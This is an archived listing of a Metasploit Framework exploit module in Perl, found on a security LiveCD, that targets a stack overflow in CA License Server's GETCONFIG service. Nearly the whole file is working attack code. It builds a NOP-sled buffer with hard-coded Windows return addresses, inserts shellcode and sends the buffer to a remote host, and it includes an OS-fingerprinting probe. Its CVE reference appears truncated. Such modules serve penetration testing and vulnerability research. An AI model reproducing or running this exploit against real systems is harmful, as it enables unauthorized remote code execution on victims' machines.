home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / calicserv_getconfig.pm < prev    next >
Text File  |  2006-06-30  |  7KB  |  228 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::calicserv_getconfig;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'CA License Server GETCONFIG Overflow',
  20.     'Version'  => '$Revision: 1.12 $',
  21.     'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
  24.     'Priv'  => 1,
  25.     'AutoOpts'  => { 'EXITFUNC' => 'thread' },
  26.     'UserOpts'  => {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 10202],
  29.       },
  30.  
  31.     'Payload' =>
  32.       {
  33.         'Space'        => 600,
  34.         'BadChars'    => "\x00\x20",
  35.         'Prepend'    => "\x81\xc4\x54\xf2\xff\xff",
  36.         'Keys'        => ['+ws2ord'],
  37.       },
  38.  
  39.     'Description'  => Pex::Text::Freeform(qq{
  40.         This module exploits an vulnerability in the CA License Server
  41.         network service. This is a simple stack overflow and just one of
  42.         many serious problems with this software.
  43. }),
  44.  
  45.     'Refs'    =>
  46.       [
  47.           ['OSVDB', '14322'],
  48.         ['BID', '12705'],
  49.         ['CVE', '005-0581'],
  50.         ['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
  51.         ['MIL', '18'],        
  52.       ],
  53.  
  54.     'Targets' => [
  55.  
  56.         # As much as I would like to return back to the DLL or EXE,
  57.         # all of those modules have a leading NULL in the
  58.         # loaded @ address :(
  59.  
  60.         # name, jmp esi, writable, jmp edi
  61.         ['Automatic', 0],
  62.         ['Windows 2000 English',        0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
  63.         ['Windows XP English SP0-1',    0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
  64.         ['Windows XP English SP2',        0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
  65.         ['Windows 2003 English SP0',    0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
  66.       ],
  67.     'Keys'  => ['calicense'],
  68.  
  69.     'DisclosureDate' => 'Mar 02 2005',
  70.   };
  71.  
  72. sub new {
  73.     my $class = shift;
  74.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  75.     return($self);
  76. }
  77.  
  78. sub Check {
  79.     my $self = shift;
  80.     my $target_host = $self->GetVar('RHOST');
  81.     my $target_port = $self->GetVar('RPORT');
  82.     my $data = $self->GetConfig($target_host, $target_port);
  83.     if (! $data) {
  84.         $self->PrintLine("[*] Could not read remote configuration");
  85.         return $self->CheckCode('Connect');
  86.     }
  87.  
  88.     $self->PrintLine("[*] License Server: $data");
  89.     return $self->CheckCode('Detected');
  90. }
  91.  
  92. sub Exploit {
  93.     my $self = shift;
  94.     my $target_host = $self->GetVar('RHOST');
  95.     my $target_port = $self->GetVar('RPORT');
  96.     my $target_idx  = $self->GetVar('TARGET');
  97.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  98.     my $target = $self->Targets->[$target_idx];
  99.     
  100.     if (! $self->InitNops(128)) {
  101.         $self->PrintLine("[*] Failed to initialize the nop module.");
  102.         return;
  103.     }
  104.         
  105.     if ($target_idx == 0) {
  106.         my $data = $self->GetConfig($target_host, $target_port);
  107.         if ($data =~ m/OS\<([^\>]+)/) {
  108.             my $os = $1;
  109.             $os =~ s/_NT//g;
  110.             $os =~ s/5\.1/XP/;
  111.             $os =~ s/5\.2/2003/;
  112.             $os =~ s/5\.0/2000/;
  113.             $os =~ s/4\.0/NT 4.0/;
  114.  
  115.             my @targs;
  116.             for (1 .. (scalar(@{$self->Targets})-1)) {
  117.                 if (index($self->Targets->[$_]->[0], $os) != -1) {
  118.                     push @targs, $_;
  119.                 }
  120.             }
  121.  
  122.             if (scalar(@targs) > 1) {
  123.                 $self->PrintLine("[*] Multiple possible targets:");
  124.                 foreach (@targs) {
  125.                     $self->PrintLine("[*]  $_\t".$self->Targets->[$_]->[0]);
  126.                 }
  127.                 return;
  128.             }
  129.  
  130.             if (scalar(@targs) == 1) {
  131.                 $target = $self->Targets->[$targs[0]];
  132.             }
  133.  
  134.             if (! scalar(@targs)) {
  135.                 $self->PrintLine("[*] No matching target for $os");
  136.                 return;
  137.             }
  138.  
  139.         } else {
  140.             $self->PrintLine("[*] Could not determine the remote OS automatically");
  141.             return;
  142.         }
  143.     }
  144.  
  145.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  146.  
  147.     my $s = Msf::Socket::Tcp->new
  148.       (
  149.         'PeerAddr'  => $target_host,
  150.         'PeerPort'  => $target_port,
  151.         'LocalPort' => $self->GetVar('CPORT'),
  152.         'SSL'       => $self->GetVar('SSL'),
  153.       );
  154.  
  155.     if ($s->IsError) {
  156.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  157.         return;
  158.     }
  159.  
  160.     # Read the initial greeting from the license server
  161.     my $res = $s->Recv(-1, 1);
  162.     if (! $res || $res !~ /GETCONFIG/) {
  163.         $self->PrintLine("[*] The server did not return the expected greeting");
  164.         return;
  165.     }
  166.  
  167.     my $boom = $self->MakeNops(900);
  168.     
  169.     ## exploits two different versions at once >:-)
  170.     # 144 -> return address of esi points to string middle
  171.     # 196 -> return address of edi points to string beginning    
  172.     # 148 -> avoid exception by patching with writable address
  173.     # 928 -> seh handler (not useful under XP SP2)
  174.     
  175.     substr($boom, 142, 2, "\xeb\x08");                    # jmp over addresses
  176.     substr($boom, 144, 4, pack('V', $target->[1]));     # jmp esi
  177.     substr($boom, 148, 4, pack('V', $target->[2]));     # writable address
  178.     substr($boom, 194, 2, "\xeb\x04");                    # jmp over address
  179.     substr($boom, 196, 4, pack('V', $target->[3]));        # jmp edi
  180.     
  181.     substr($boom, 272, length($shellcode), $shellcode);
  182.  
  183.     my $req = "A0 GETCONFIG SELF $boom<EOM>";
  184.  
  185.     $self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
  186.     $s->Send($req);
  187.  
  188.     return;
  189. }
  190.  
  191. sub GetConfig {
  192.     my $self = shift;
  193.     my $target_host = shift;
  194.     my $target_port = shift;
  195.  
  196.     my $s = Msf::Socket::Tcp->new
  197.       (
  198.         'PeerAddr'  => $target_host,
  199.         'PeerPort'  => $target_port,
  200.         'LocalPort' => $self->GetVar('CPORT'),
  201.         'SSL'       => $self->GetVar('SSL'),
  202.       );
  203.  
  204.     if ($s->IsError) {
  205.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  206.         return;
  207.     }
  208.  
  209.     # Recieve the message that is first sent
  210.     $s->Recv(-1, 1);
  211.  
  212.     # Ask for the configuration info
  213.     $s->Send("A0 GETCONFIG SELF 0<EOM>");
  214.     my $res = $s->Recv(-1, 2);
  215.  
  216.     # Close the socket
  217.     $s->Close;
  218.  
  219.     # Return the data
  220.     return $res;
  221. }
  222.  
  223. 1;
  224.  
  225. __DATA__
  226. eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
  227. BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
  228.